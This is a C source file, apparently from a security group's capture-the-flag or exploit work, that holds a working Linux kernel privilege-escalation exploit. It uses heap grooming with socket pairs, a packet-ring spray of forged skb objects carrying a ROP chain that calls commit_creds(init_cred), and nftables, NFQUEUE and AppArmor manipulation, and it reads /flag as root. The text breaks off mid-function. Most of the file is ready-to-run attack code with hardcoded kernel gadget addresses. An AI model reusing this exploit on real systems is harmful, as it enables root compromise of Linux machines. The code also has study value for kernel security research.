/* * Copyright 2026 Nebula Security * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * https://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * * SPDX-License-Identifier: Apache-2.0 */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "leak.h" /* The assigned 226f4a49 XFRM primitive and its netlink helpers. */ #include "primitive.h" #define STACK_SIZE (1024 * 1024) #define EXTERNAL_JAMMERS 8 #define GROOM_PAIRS 288 #define GROOM_PER_PAIR 32 #define PRESEED_PAIRS_PER_CPU 1 #define PRESEED_PAIRS (PRESEED_PAIRS_PER_CPU * 2) #define PRESEED_START (GROOM_PAIRS - PRESEED_PAIRS) #define POST_TARGET_PAIRS 15 #define CPU0_DRAIN_FIRST 15 #define CPU0_DRAIN_PAIRS 24 #define CPU0_FILL_FIRST 39 #define CPU0_FILL_PAIRS 24 #define CPU0_FINAL_FIRST 63 #define CPU0_FINAL_PAIRS 48 #define GUARD_OBJECTS 1024 #define GUARD_PAIRS 8 #define PRE_TARGET_PUSH_PAIRS 16 #define CPU1_DRAIN_FIRST 111 #define CPU1_DRAIN_PAIRS 16 #define CPU1_FILL_FIRST 127 #define CPU1_FILL_PAIRS 16 #define CPU1_FINAL_FIRST 143 #define CPU1_FINAL_PAIRS 16 #define POST_DRAIN_FIRST 159 #define POST_DRAIN_PAIRS 40 #define POST_FILL_FIRST 199 #define POST_FILL_PAIRS 80 #define POST_PUSH_FIRST 279 #define POST_PUSH_PAIRS 8 #define RING_PAGES 16384 #define RCU_RECLAIM_WAIT 0 #define QUEUE_NUM 0x5f6e #define LOG_GROUP 0x5f6f #define QUEUE_TRIES_PER_CPU 8 #define MAX_QUEUE_TRIES (QUEUE_TRIES_PER_CPU * 2) static const char flag_path[] = "/flag"; static uint64_t kaslr_slide; static unsigned char user_stack[0x8000] __attribute__((aligned(16))); static uint64_t user_cs; static uint64_t user_ss; static uint64_t user_rflags; static int packet_fd = -1; static const unsigned int capture_delay_us = 100; #define LINK_PIVOT 0xffffffff81dd80e7ULL #define LINK_POP_RDI_RET 0xffffffff81429c60ULL #define LINK_RET 0xffffffff81429c61ULL #define LINK_POP6_RET 0xffffffff81dd80edULL #define LINK_INIT_CRED 0xffffffff83a15b80ULL #define LINK_COMMIT_CREDS 0xffffffff8148a520ULL #define LINK_SWAPGS_POP_RET 0xffffffff8100133cULL #define LINK_IRETQ 0xffffffff81001268ULL #define LINK_KPTI_RETURN 0xffffffff810011dcULL #define UBUNTU_IMAGE_EDGE_BIAS 0x200000ULL static void add_time_ns(struct timespec *value, long nanoseconds) { value->tv_sec += nanoseconds / 1000000000L; value->tv_nsec += nanoseconds % 1000000000L; if (value->tv_nsec >= 1000000000L) { value->tv_nsec -= 1000000000L; value->tv_sec++; } } static void put_u64(void *base, size_t offset, uint64_t value) { memcpy((unsigned char *)base + offset, &value, sizeof(value)); } __attribute__((noreturn, noinline)) static void root_continuation(void) { char flag[512]; ssize_t got; int fd; (void)setresgid(0, 0, 0); (void)setresuid(0, 0, 0); fd = open(flag_path, O_RDONLY | O_CLOEXEC); if (fd >= 0 && (got = read(fd, flag, sizeof(flag) - 1)) > 0) { flag[got] = 0; dprintf(STDOUT_FILENO, "FLAG=%s\n", flag); } dprintf(STDOUT_FILENO, "ROP returned uid=%u gid=%u flagfd=%d errno=%d\n", getuid(), getgid(), fd, errno); _exit(fd >= 0 ? 0 : 91); } static void save_user_state(void) { asm volatile("mov %%cs, %0\n" "mov %%ss, %1\n" "pushfq\n" "pop %2\n" : "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags) : : "memory"); } static void forge_skb_ring(unsigned char *mapping, size_t bytes) { /* Clear every candidate before writing the compact in-object chain. */ for (size_t offset = 0; offset < bytes; offset += 256) memset(mapping + offset, 0, 232); for (size_t offset = 0; offset < bytes; offset += 256) { unsigned char *skb = mapping + offset; /* * The destructor pivots RSP to this skb. skb_dst_drop() clears * offset 88 before calling it, and the destructor itself occupies * offset 96, so a six-pop epilogue skips both holes. No heap * address or preserved page contents are needed. */ /* * Run the six-pop epilogue before loading RDI: that epilogue zeros * all argument registers. Its pops consume both mutable skb fields * (refdst at 88 and destructor at 96), then the short pop-rdi gadget * supplies init_cred immediately before commit_creds. */ put_u64(skb, 64, LINK_POP6_RET + kaslr_slide); put_u64(skb, 72, 0); put_u64(skb, 80, 0); put_u64(skb, 88, 0); /* consumed after skb_dst_drop() clears it */ put_u64(skb, 96, LINK_PIVOT + kaslr_slide); /* destructor + dummy */ put_u64(skb, 104, 0); put_u64(skb, 112, 0); put_u64(skb, 120, LINK_POP_RDI_RET + kaslr_slide); put_u64(skb, 128, LINK_INIT_CRED + kaslr_slide); /* Restore the SysV entry alignment expected by commit_creds(). */ put_u64(skb, 136, LINK_RET + kaslr_slide); put_u64(skb, 144, LINK_COMMIT_CREDS + kaslr_slide); /* Enter the compact KPTI branch at its mov %rsp,%rdi. It copies the * iret frame to the per-CPU entry stack, so the entire chain fits in a * single 256-byte skb object and works for every slot in the page. */ size_t frame = 160; put_u64(skb, 152, LINK_KPTI_RETURN + kaslr_slide); put_u64(skb, frame, 0); /* saved rdi */ put_u64(skb, frame + 8, 0); /* unused */ put_u64(skb, frame + 16, (uintptr_t)root_continuation); put_u64(skb, frame + 24, user_cs); put_u64(skb, frame + 32, user_rflags); put_u64(skb, frame + 40, (uintptr_t)(user_stack + sizeof(user_stack) - 0xf8)); put_u64(skb, frame + 48, user_ss); /* Keep fclone=0 and make the forged object releasable. */ put_u64(skb, 216, 768); put_u64(skb, 220, 1); } } static void packet_page_spray(void) { struct tpacket_req request = { .tp_block_size = 4096, .tp_block_nr = RING_PAGES, .tp_frame_size = 2048, .tp_frame_nr = RING_PAGES * 2, }; size_t bytes = (size_t)request.tp_block_size * request.tp_block_nr; unsigned char *mapping; if (setsockopt(packet_fd, SOL_PACKET, PACKET_RX_RING, &request, sizeof(request)) < 0) die("PACKET_RX_RING"); mapping = mmap(NULL, bytes, PROT_READ | PROT_WRITE, MAP_SHARED, packet_fd, 0); if (mapping == MAP_FAILED) die("mmap(PACKET_RX_RING)"); forge_skb_ring(mapping, bytes); /* Keep both mapping and fd alive until the stale skb is released. */ } static void make_unix_pair(int pair[2]) { if (socketpair(AF_UNIX, SOCK_DGRAM, 0, pair) < 0) die("socketpair(AF_UNIX)"); } static void send_byte(int fd) { char byte = 'S'; if (send(fd, &byte, 1, 0) != 1) die("send(AF_UNIX)"); } static void receive_byte(int fd) { char byte; if (recv(fd, &byte, sizeof(byte), 0) != 1) die("recv(AF_UNIX)"); } struct cleaner_socket { int sender; int receiver; uint32_t portid; }; static struct cleaner_socket open_cleaner_socket(void) { struct cleaner_socket cleaner; struct sockaddr_nl local = { .nl_family = AF_NETLINK }; socklen_t length = sizeof(local); cleaner.receiver = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_USERSOCK); cleaner.sender = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_USERSOCK); if (cleaner.receiver < 0 || cleaner.sender < 0) die("socket(NETLINK_USERSOCK cleaner)"); if (bind(cleaner.receiver, (struct sockaddr *)&local, sizeof(local)) < 0) die("bind(NETLINK_USERSOCK cleaner)"); if (getsockname(cleaner.receiver, (struct sockaddr *)&local, &length) < 0) die("getsockname(NETLINK_USERSOCK cleaner)"); cleaner.portid = local.nl_pid; return cleaner; } static void send_cleaner(struct cleaner_socket *cleaner) { struct sockaddr_nl destination = { .nl_family = AF_NETLINK, .nl_pid = cleaner->portid, }; unsigned char message[32] = { 'C' }; if (sendto(cleaner->sender, message, sizeof(message), 0, (struct sockaddr *)&destination, sizeof(destination)) != (ssize_t)sizeof(message)) die("sendto(NETLINK_USERSOCK cleaner)"); } static void receive_cleaner(struct cleaner_socket *cleaner) { unsigned char message[64]; if (recv(cleaner->receiver, message, sizeof(message), 0) != 32) die("recv(NETLINK_USERSOCK cleaner)"); } static uint32_t nf_sequence; static struct nlattr *nf_put_attr(struct nlmsghdr *nlh, size_t capacity, uint16_t type, const void *data, size_t length) { size_t offset = NLMSG_ALIGN(nlh->nlmsg_len); size_t needed = NLA_ALIGN(NLA_HDRLEN + length); struct nlattr *attribute; if (offset + needed > capacity) { errno = EMSGSIZE; die("NFNETLINK attribute overflow"); } attribute = (struct nlattr *)((char *)nlh + offset); attribute->nla_type = type; attribute->nla_len = (uint16_t)(NLA_HDRLEN + length); if (length) memcpy((char *)attribute + NLA_HDRLEN, data, length); memset((char *)attribute + attribute->nla_len, 0, needed - attribute->nla_len); nlh->nlmsg_len = (uint32_t)(offset + needed); return attribute; } static struct nlattr *nf_nest_start(struct nlmsghdr *nlh, size_t capacity, uint16_t type) { return nf_put_attr(nlh, capacity, type | NLA_F_NESTED, NULL, 0); } static void nf_nest_end(struct nlmsghdr *nlh, struct nlattr *attribute) { attribute->nla_len = (uint16_t)((char *)nlh + nlh->nlmsg_len - (char *)attribute); } static void nf_send(int fd, struct nlmsghdr *nlh) { struct sockaddr_nl destination = { .nl_family = AF_NETLINK }; struct iovec iov = { .iov_base = nlh, .iov_len = nlh->nlmsg_len }; struct msghdr message = { .msg_name = &destination, .msg_namelen = sizeof(destination), .msg_iov = &iov, .msg_iovlen = 1, }; if (sendmsg(fd, &message, 0) < 0) die("sendmsg(NETLINK_NETFILTER)"); } static void nf_recv_ack(int fd, uint32_t sequence) { char buffer[8192]; for (;;) { ssize_t length = recv(fd, buffer, sizeof(buffer), 0); struct nlmsghdr *nlh; if (length < 0) { if (errno == EINTR) continue; die("recv(NETLINK_NETFILTER ack)"); } for (nlh = (struct nlmsghdr *)buffer; NLMSG_OK(nlh, length); nlh = NLMSG_NEXT(nlh, length)) { struct nlmsgerr *error; if (nlh->nlmsg_seq != sequence || nlh->nlmsg_type != NLMSG_ERROR) continue; error = NLMSG_DATA(nlh); if (error->error) { errno = -error->error; die("NETLINK_NETFILTER ack"); } return; } } } static int open_netfilter_socket(void) { struct sockaddr_nl local = { .nl_family = AF_NETLINK }; int fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_NETFILTER); if (fd < 0) die("socket(NETLINK_NETFILTER)"); if (bind(fd, (struct sockaddr *)&local, sizeof(local)) < 0) die("bind(NETLINK_NETFILTER)"); return fd; } static void nft_base_request(char *buffer, size_t capacity, uint16_t message_type, uint8_t family) { struct nlmsghdr *nlh = (struct nlmsghdr *)buffer; struct nfgenmsg *nfg; memset(buffer, 0, capacity); nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*nfg)); nlh->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | message_type; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL; nfg = NLMSG_DATA(nlh); nfg->nfgen_family = family; nfg->version = NFNETLINK_V0; } static void send_nft_batch_one(int fd, struct nlmsghdr *request) { char batch[4096] = { 0 }; struct nlmsghdr *begin = (struct nlmsghdr *)batch; struct nlmsghdr *message; struct nlmsghdr *end; struct nfgenmsg *nfg; struct sockaddr_nl destination = { .nl_family = AF_NETLINK }; struct iovec iov; struct msghdr header = { .msg_name = &destination, .msg_namelen = sizeof(destination), .msg_iov = &iov, .msg_iovlen = 1, }; size_t offset; uint32_t request_sequence; begin->nlmsg_len = NLMSG_LENGTH(sizeof(*nfg)); begin->nlmsg_type = NFNL_MSG_BATCH_BEGIN; begin->nlmsg_flags = NLM_F_REQUEST; begin->nlmsg_seq = ++nf_sequence; nfg = NLMSG_DATA(begin); nfg->nfgen_family = AF_UNSPEC; nfg->version = NFNETLINK_V0; nfg->res_id = htons(NFNL_SUBSYS_NFTABLES); offset = NLMSG_ALIGN(begin->nlmsg_len); message = (struct nlmsghdr *)(batch + offset); memcpy(message, request, request->nlmsg_len); message->nlmsg_seq = ++nf_sequence; request_sequence = message->nlmsg_seq; offset += NLMSG_ALIGN(message->nlmsg_len); end = (struct nlmsghdr *)(batch + offset); end->nlmsg_len = NLMSG_LENGTH(sizeof(*nfg)); end->nlmsg_type = NFNL_MSG_BATCH_END; end->nlmsg_flags = NLM_F_REQUEST; end->nlmsg_seq = ++nf_sequence; nfg = NLMSG_DATA(end); nfg->nfgen_family = AF_UNSPEC; nfg->version = NFNETLINK_V0; nfg->res_id = htons(NFNL_SUBSYS_NFTABLES); offset += NLMSG_ALIGN(end->nlmsg_len); iov.iov_base = batch; iov.iov_len = offset; if (sendmsg(fd, &header, 0) < 0) die("sendmsg(nft batch)"); nf_recv_ack(fd, request_sequence); } static void install_ipv6_output_queue(void) { char buffer[2048]; struct nlmsghdr *nlh = (struct nlmsghdr *)buffer; struct nlattr *hook, *expressions, *element, *data; uint32_t hook_number = htonl(NF_INET_LOCAL_OUT); uint32_t priority = htonl(0); uint32_t policy = htonl(NF_ACCEPT); uint16_t queue_number = htons(QUEUE_NUM); int fd = open_netfilter_socket(); nft_base_request(buffer, sizeof(buffer), NFT_MSG_NEWTABLE, NFPROTO_IPV6); nf_put_attr(nlh, sizeof(buffer), NFTA_TABLE_NAME, "_nebu", sizeof("_nebu")); send_nft_batch_one(fd, nlh); nft_base_request(buffer, sizeof(buffer), NFT_MSG_NEWCHAIN, NFPROTO_IPV6); nf_put_attr(nlh, sizeof(buffer), NFTA_CHAIN_TABLE, "_nebu", sizeof("_nebu")); nf_put_attr(nlh, sizeof(buffer), NFTA_CHAIN_NAME, "output", sizeof("output")); nf_put_attr(nlh, sizeof(buffer), NFTA_CHAIN_TYPE, "filter", sizeof("filter")); hook = nf_nest_start(nlh, sizeof(buffer), NFTA_CHAIN_HOOK); nf_put_attr(nlh, sizeof(buffer), NFTA_HOOK_HOOKNUM, &hook_number, sizeof(hook_number)); nf_put_attr(nlh, sizeof(buffer), NFTA_HOOK_PRIORITY, &priority, sizeof(priority)); nf_nest_end(nlh, hook); nf_put_attr(nlh, sizeof(buffer), NFTA_CHAIN_POLICY, &policy, sizeof(policy)); send_nft_batch_one(fd, nlh); nft_base_request(buffer, sizeof(buffer), NFT_MSG_NEWRULE, NFPROTO_IPV6); nf_put_attr(nlh, sizeof(buffer), NFTA_RULE_TABLE, "_nebu", sizeof("_nebu")); nf_put_attr(nlh, sizeof(buffer), NFTA_RULE_CHAIN, "output", sizeof("output")); expressions = nf_nest_start(nlh, sizeof(buffer), NFTA_RULE_EXPRESSIONS); element = nf_nest_start(nlh, sizeof(buffer), NFTA_LIST_ELEM); nf_put_attr(nlh, sizeof(buffer), NFTA_EXPR_NAME, "queue", sizeof("queue")); data = nf_nest_start(nlh, sizeof(buffer), NFTA_EXPR_DATA); nf_put_attr(nlh, sizeof(buffer), NFTA_QUEUE_NUM, &queue_number, sizeof(queue_number)); nf_nest_end(nlh, data); nf_nest_end(nlh, element); nf_nest_end(nlh, expressions); send_nft_batch_one(fd, nlh); close(fd); } static void install_ipv4_output_drop(void) { char buffer[2048]; struct nlmsghdr *nlh = (struct nlmsghdr *)buffer; struct nlattr *hook, *expressions, *element, *expression_data; struct nlattr *immediate_data, *verdict_data; uint32_t hook_number = htonl(NF_INET_LOCAL_OUT); uint32_t priority = htonl(0); uint32_t policy = htonl(NF_ACCEPT); uint32_t destination_register = htonl(NFT_REG_VERDICT); uint32_t verdict = htonl(NF_DROP); uint16_t log_group = htons(LOG_GROUP); uint16_t log_threshold = htons(1); int fd = open_netfilter_socket(); nft_base_request(buffer, sizeof(buffer), NFT_MSG_NEWTABLE, NFPROTO_IPV4); nf_put_attr(nlh, sizeof(buffer), NFTA_TABLE_NAME, "_nebusec", sizeof("_nebusec")); send_nft_batch_one(fd, nlh); nft_base_request(buffer, sizeof(buffer), NFT_MSG_NEWCHAIN, NFPROTO_IPV4); nf_put_attr(nlh, sizeof(buffer), NFTA_CHAIN_TABLE, "_nebusec", sizeof("_nebusec")); nf_put_attr(nlh, sizeof(buffer), NFTA_CHAIN_NAME, "output", sizeof("output")); nf_put_attr(nlh, sizeof(buffer), NFTA_CHAIN_TYPE, "filter", sizeof("filter")); hook = nf_nest_start(nlh, sizeof(buffer), NFTA_CHAIN_HOOK); nf_put_attr(nlh, sizeof(buffer), NFTA_HOOK_HOOKNUM, &hook_number, sizeof(hook_number)); nf_put_attr(nlh, sizeof(buffer), NFTA_HOOK_PRIORITY, &priority, sizeof(priority)); nf_nest_end(nlh, hook); nf_put_attr(nlh, sizeof(buffer), NFTA_CHAIN_POLICY, &policy, sizeof(policy)); send_nft_batch_one(fd, nlh); nft_base_request(buffer, sizeof(buffer), NFT_MSG_NEWRULE, NFPROTO_IPV4); nf_put_attr(nlh, sizeof(buffer), NFTA_RULE_TABLE, "_nebusec", sizeof("_nebusec")); nf_put_attr(nlh, sizeof(buffer), NFTA_RULE_CHAIN, "output", sizeof("output")); expressions = nf_nest_start(nlh, sizeof(buffer), NFTA_RULE_EXPRESSIONS); element = nf_nest_start(nlh, sizeof(buffer), NFTA_LIST_ELEM); nf_put_attr(nlh, sizeof(buffer), NFTA_EXPR_NAME, "log", sizeof("log")); expression_data = nf_nest_start(nlh, sizeof(buffer), NFTA_EXPR_DATA); nf_put_attr(nlh, sizeof(buffer), NFTA_LOG_GROUP, &log_group, sizeof(log_group)); nf_put_attr(nlh, sizeof(buffer), NFTA_LOG_QTHRESHOLD, &log_threshold, sizeof(log_threshold)); nf_nest_end(nlh, expression_data); nf_nest_end(nlh, element); element = nf_nest_start(nlh, sizeof(buffer), NFTA_LIST_ELEM); nf_put_attr(nlh, sizeof(buffer), NFTA_EXPR_NAME, "immediate", sizeof("immediate")); expression_data = nf_nest_start(nlh, sizeof(buffer), NFTA_EXPR_DATA); nf_put_attr(nlh, sizeof(buffer), NFTA_IMMEDIATE_DREG, &destination_register, sizeof(destination_register)); immediate_data = nf_nest_start(nlh, sizeof(buffer), NFTA_IMMEDIATE_DATA); verdict_data = nf_nest_start(nlh, sizeof(buffer), NFTA_DATA_VERDICT); nf_put_attr(nlh, sizeof(buffer), NFTA_VERDICT_CODE, &verdict, sizeof(verdict)); nf_nest_end(nlh, verdict_data); nf_nest_end(nlh, immediate_data); nf_nest_end(nlh, expression_data); nf_nest_end(nlh, element); nf_nest_end(nlh, expressions); send_nft_batch_one(fd, nlh); close(fd); } static int open_and_bind_nflog(void) { char buffer[256] = { 0 }; struct nlmsghdr *nlh = (struct nlmsghdr *)buffer; struct nfgenmsg *nfg; struct sockaddr_nl local = { .nl_family = AF_NETLINK }; struct nfulnl_msg_config_cmd command = { .command = NFULNL_CFG_CMD_BIND, }; struct nfulnl_msg_config_mode mode = { .copy_range = htonl(0), .copy_mode = NFULNL_COPY_META, }; uint32_t threshold = htonl(1); int fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_NETFILTER); if (fd < 0) die("socket(NFLOG)"); if (bind(fd, (struct sockaddr *)&local, sizeof(local)) < 0) die("bind(NFLOG)"); nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*nfg)); nlh->nlmsg_type = (NFNL_SUBSYS_ULOG << 8) | NFULNL_MSG_CONFIG; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; nlh->nlmsg_seq = ++nf_sequence; nfg = NLMSG_DATA(nlh); nfg->nfgen_family = AF_INET; nfg->version = NFNETLINK_V0; nfg->res_id = htons(LOG_GROUP); nf_put_attr(nlh, sizeof(buffer), NFULA_CFG_CMD, &command, sizeof(command)); nf_put_attr(nlh, sizeof(buffer), NFULA_CFG_MODE, &mode, sizeof(mode)); nf_put_attr(nlh, sizeof(buffer), NFULA_CFG_QTHRESH, &threshold, sizeof(threshold)); nf_send(fd, nlh); nf_recv_ack(fd, nlh->nlmsg_seq); return fd; } static void wait_for_nflog_packet(int fd) { char buffer[8192]; for (;;) { ssize_t length = recv(fd, buffer, sizeof(buffer), MSG_PEEK); struct nlmsghdr *nlh; if (length < 0) { if (errno == EINTR) continue; die("recv(MSG_PEEK NFLOG)"); } for (nlh = (struct nlmsghdr *)buffer; NLMSG_OK(nlh, length); nlh = NLMSG_NEXT(nlh, length)) if (nlh->nlmsg_type == ((NFNL_SUBSYS_ULOG << 8) | NFULNL_MSG_PACKET)) return; } } static int open_and_bind_nfqueue(void) { char buffer[256] = { 0 }; struct nlmsghdr *nlh = (struct nlmsghdr *)buffer; struct nfgenmsg *nfg; struct sockaddr_nl local = { .nl_family = AF_NETLINK, .nl_pid = (uint32_t)getpid(), }; struct nfqnl_msg_config_cmd command = { .command = NFQNL_CFG_CMD_BIND, .pf = htons(AF_INET6), }; struct nfqnl_msg_config_params parameters = { .copy_range = htonl(0xffff), .copy_mode = NFQNL_COPY_PACKET, }; int fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_NETFILTER); if (fd < 0) die("socket(NFQUEUE)"); if (bind(fd, (struct sockaddr *)&local, sizeof(local)) < 0) die("bind(NFQUEUE)"); nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*nfg)); nlh->nlmsg_type = (NFNL_SUBSYS_QUEUE << 8) | NFQNL_MSG_CONFIG; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; nlh->nlmsg_seq = ++nf_sequence; nfg = NLMSG_DATA(nlh); nfg->nfgen_family = AF_UNSPEC; nfg->version = NFNETLINK_V0; nfg->res_id = htons(QUEUE_NUM); nf_put_attr(nlh, sizeof(buffer), NFQA_CFG_CMD, &command, sizeof(command)); nf_send(fd, nlh); nf_recv_ack(fd, nlh->nlmsg_seq); memset(buffer, 0, sizeof(buffer)); nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*nfg)); nlh->nlmsg_type = (NFNL_SUBSYS_QUEUE << 8) | NFQNL_MSG_CONFIG; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; nlh->nlmsg_seq = ++nf_sequence; nfg = NLMSG_DATA(nlh); nfg->nfgen_family = AF_UNSPEC; nfg->version = NFNETLINK_V0; nfg->res_id = htons(QUEUE_NUM); nf_put_attr(nlh, sizeof(buffer), NFQA_CFG_PARAMS, ¶meters, sizeof(parameters)); nf_send(fd, nlh); nf_recv_ack(fd, nlh->nlmsg_seq); return fd; } static void queue_one_ipv6_packet(unsigned char byte) { struct sockaddr_in6 destination = { .sin6_family = AF_INET6, .sin6_port = htons(31337), .sin6_addr = IN6ADDR_LOOPBACK_INIT, }; int fd = socket(AF_INET6, SOCK_DGRAM | SOCK_CLOEXEC, 0); if (fd < 0) die("socket(AF_INET6 queue packet)"); if (sendto(fd, &byte, sizeof(byte), 0, (struct sockaddr *)&destination, sizeof(destination)) != 1) die("sendto(AF_INET6 queue packet)"); close(fd); } struct queue_notice { uint32_t packet_id; unsigned int payload_len; unsigned int payload_first; unsigned int payload_last; int malformed; }; static struct queue_notice receive_queue_notice(int fd) { char buffer[65536]; for (;;) { ssize_t length = recv(fd, buffer, sizeof(buffer), 0); struct nlmsghdr *nlh; if (length < 0) { if (errno == EINTR) continue; die("recv(NFQUEUE packet)"); } for (nlh = (struct nlmsghdr *)buffer; NLMSG_OK(nlh, length); nlh = NLMSG_NEXT(nlh, length)) { struct nfgenmsg *nfg; struct nlattr *attribute; uint32_t packet_id = 0; unsigned int payload_len = 0; unsigned int payload_first = 0; unsigned int payload_last = 0; int remaining; if (nlh->nlmsg_type != ((NFNL_SUBSYS_QUEUE << 8) | NFQNL_MSG_PACKET)) continue; nfg = NLMSG_DATA(nlh); remaining = (int)nlh->nlmsg_len - NLMSG_LENGTH(sizeof(*nfg)); attribute = (struct nlattr *)((char *)nfg + NLMSG_ALIGN(sizeof(*nfg))); while (remaining >= (int)sizeof(*attribute) && attribute->nla_len >= sizeof(*attribute) && attribute->nla_len <= remaining) { if ((attribute->nla_type & NLA_TYPE_MASK) == NFQA_PACKET_HDR && attribute->nla_len >= NLA_HDRLEN + sizeof(struct nfqnl_msg_packet_hdr)) { struct nfqnl_msg_packet_hdr *packet = (void *)((char *)attribute + NLA_HDRLEN); packet_id = ntohl(packet->packet_id); } else if ((attribute->nla_type & NLA_TYPE_MASK) == NFQA_PAYLOAD && attribute->nla_len > NLA_HDRLEN) { unsigned char *payload = (void *) ((char *)attribute + NLA_HDRLEN); payload_len = attribute->nla_len - NLA_HDRLEN; payload_first = payload[0]; payload_last = payload[payload_len - 1]; } remaining -= NLA_ALIGN(attribute->nla_len); attribute = (struct nlattr *)((char *)attribute + NLA_ALIGN(attribute->nla_len)); } if (packet_id) { struct queue_notice notice = { .packet_id = packet_id, .payload_len = payload_len, .payload_first = payload_first, .payload_last = payload_last, .malformed = payload_len != 49 || payload_first != 0x60 || (payload_last != 'A' && payload_last != 'B'), }; printf("notice id=%u nl=%u payload=%u first=%02x last=%02x\n", packet_id, nlh->nlmsg_len, payload_len, payload_first, payload_last); return notice; } } } } static void send_queue_drop_verdict(int fd, uint32_t packet_id) { char buffer[256] = { 0 }; struct nlmsghdr *nlh = (struct nlmsghdr *)buffer; struct nfgenmsg *nfg; struct nfqnl_msg_verdict_hdr verdict = { .verdict = htonl(NF_DROP), .id = htonl(packet_id), }; nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*nfg)); nlh->nlmsg_type = (NFNL_SUBSYS_QUEUE << 8) | NFQNL_MSG_VERDICT; nlh->nlmsg_flags = NLM_F_REQUEST; nlh->nlmsg_seq = ++nf_sequence; nfg = NLMSG_DATA(nlh); nfg->nfgen_family = AF_UNSPEC; nfg->version = NFNETLINK_V0; nfg->res_id = htons(QUEUE_NUM); nf_put_attr(nlh, sizeof(buffer), NFQA_VERDICT_HDR, &verdict, sizeof(verdict)); nf_send(fd, nlh); } static int child_gate[2]; static int jammer_gate[2]; static int change_profile(const char *name) { char request[256]; int fd; int len; len = snprintf(request, sizeof(request), "changeprofile %s", name); fd = open("/proc/self/attr/current", O_WRONLY | O_CLOEXEC); if (fd < 0) return -1; errno = 0; if (write(fd, request, len) != len) { int saved = errno; close(fd); errno = saved; return -1; } close(fd); return 0; } static void print_profile(const char *tag) { char buffer[256]; ssize_t len; int fd; fd = open("/proc/self/attr/current", O_RDONLY | O_CLOEXEC); if (fd < 0) return; len = read(fd, buffer, sizeof(buffer) - 1); close(fd); if (len <= 0) return; buffer[len] = 0; printf("%s profile=%s", tag, buffer); } static int write_map(pid_t pid, const char *file, const char *value) { char path[128]; int fd; size_t len = strlen(value); snprintf(path, sizeof(path), "/proc/%d/%s", pid, file); fd = open(path, O_WRONLY | O_CLOEXEC); if (fd < 0) return -1; if (write(fd, value, len) != (ssize_t)len) { int saved = errno; close(fd); errno = saved; return -1; } close(fd); return 0; } static void external_jammer(void) { struct sockaddr_in destination = { .sin_family = AF_INET, .sin_port = htons(9), }; char payload = 'J'; char gate; int sockets[32]; int index = 0; struct timespec deadline; struct timespec now; /* Allocate transmit skbs on CPU1; virtio completions free on CPU0. */ pin_cpu(1); if (inet_pton(AF_INET, "10.0.2.2", &destination.sin_addr) != 1) _exit(20); for (int i = 0; i < (int)(sizeof(sockets) / sizeof(sockets[0])); i++) { sockets[i] = socket(AF_INET, SOCK_DGRAM | SOCK_NONBLOCK, 0); if (sockets[i] < 0) _exit(21); if (connect(sockets[i], (struct sockaddr *)&destination, sizeof(destination)) < 0) _exit(22); } close(jammer_gate[1]); if (read(jammer_gate[0], &gate, 1) != 1) _exit(23); close(jammer_gate[0]); clock_gettime(CLOCK_MONOTONIC, &deadline); deadline.tv_nsec += 990000000L; if (deadline.tv_nsec >= 1000000000L) { deadline.tv_nsec -= 1000000000L; deadline.tv_sec++; } for (;;) { (void)send(sockets[index], &payload, sizeof(payload), MSG_DONTWAIT); index = (index + 1) & 31; if ((index & 255) == 0) { clock_gettime(CLOCK_MONOTONIC, &now); if (now.tv_sec > deadline.tv_sec || (now.tv_sec == deadline.tv_sec && now.tv_nsec >= deadline.tv_nsec)) break; sched_yield(); } } _exit(0); } static void install_xfrm_state(uint32_t interval) { struct { struct xfrm_algo alg; char key[1]; } auth = { .alg = { .alg_name = "digest_null", .alg_key_len = 0, }, }; struct { struct xfrm_algo alg; char key[1]; } crypt = { .alg = { .alg_name = "ecb(cipher_null)", .alg_key_len = 0, }, }; struct xfrm_encap_tmpl encap = { .encap_type = UDP_ENCAP_ESPINUDP, .encap_sport = htons(4500), .encap_dport = htons(4500), }; uint8_t direction = XFRM_SA_DIR_OUT; struct sockaddr_nl address = { .nl_family = AF_NETLINK, }; struct { struct nlmsghdr nlh; struct nlmsgerr err; char buffer[256]; } response; struct iovec iov = { .iov_base = &req, .iov_len = sizeof(req), }; struct msghdr message = { .msg_name = &address, .msg_namelen = sizeof(address), .msg_iov = &iov, .msg_iovlen = 1, }; ssize_t length; int fd; fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM); if (fd < 0) die("socket(NETLINK_XFRM)"); memset(&req, 0, sizeof(req)); req.nlh.nlmsg_len = NLMSG_LENGTH(sizeof(req.xsinfo)); req.nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL; req.nlh.nlmsg_type = XFRM_MSG_NEWSA; req.xsinfo.family = AF_INET; req.xsinfo.id.proto = IPPROTO_ESP; req.xsinfo.id.spi = htonl(0x5f6e6562); req.xsinfo.mode = XFRM_MODE_TRANSPORT; req.xsinfo.sel.family = AF_INET; if (inet_pton(AF_INET, "127.0.0.1", &req.xsinfo.saddr) != 1 || inet_pton(AF_INET, "127.0.0.1", &req.xsinfo.id.daddr) != 1 || inet_pton(AF_INET, 